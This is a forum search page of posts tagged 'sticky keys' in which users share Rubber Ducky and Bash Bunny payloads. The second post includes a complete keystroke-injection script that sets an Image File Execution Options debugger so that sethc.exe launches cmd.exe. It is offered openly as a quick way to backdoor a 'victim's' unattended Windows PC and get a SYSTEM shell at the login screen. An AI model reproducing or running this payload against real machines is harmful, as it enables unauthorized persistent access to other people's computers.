Search the Community
Showing results for tags 'sticky keys'.
Hey I am super new to this, so forgive me if there is another payload like this, I looked around but could not find anything like it just yet. The payload copies CMD.exe to sethc.exe allowing you to press the shift key 5 times to open up a cmd line. Though the attack must be carried out when the user is logged in, you can still open the cmd line the same way even on the login screen. Let me know what you guys think, It's my first payload so I would appreciate any constructive criticism and any idea on how to make it better. https://github.com/InvaderSquibs/BashBunny/tree/master/payloads/library/StickyBunny
I know that if you have physical access to a computer, it's pretty much owned. But the reason I wanted to make a rubber ducky payload of this old backdoor is that you only need a few seconds to install the backdoor. I.e when the victim leaves his/hers computer unattended without putting on screen saver with password, you put in the rubber ducky and install this payload. After this you can a) press the SHIFT key continuously for 5 times or B) Alt+Shift+PrintScreen which will open a command prompt with system privilege. Simple and cool :-) Make sure to take a backup of the original sethc.exe. I have had some encoding issues, be sure to check out which keyboards the rubber ducky firmware supports. I have edited the code without testing it again, but I think it still will compile and run as planned. Tune the delay parameter for your own pc. I have made the delays long enough for you to see what's happening. Enjoy. The victims machine must have admin privileges for this to work. REM Author: Asbjørn Reglund Thorsen <email@example.com> REM Target: Tested on Windows 7 REM Description: Replaces the "Sticky keys" on windows 7s login screen with the "command prompt" executable REM References: http://carnal0wnage....ticky-keys.html REM http://www.redmondpi...n-login-screen/ ESCAPE CONTROL ESCAPE DELAY 400 STRING cmd DELAY 400 MENU DELAY 400 DOWN DELAY 400 DOWN DELAY 1000 ENTER DELAY 1000 LEFT DELAY 1000 ENTER DELAY 1000 STRING REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" STRING /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" DELAY 400 ENTER REM Notes: REM Thanks to Espen Grøndal who told me about this "feature" REM The trick does not work when the Sticky Keys are disabled. REM If you see the message that says “The operation completed successfully”, that means you have installed the backdoor. REM Cleanup: You can use reg edit and browse to "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" and remove the sethc.exe file.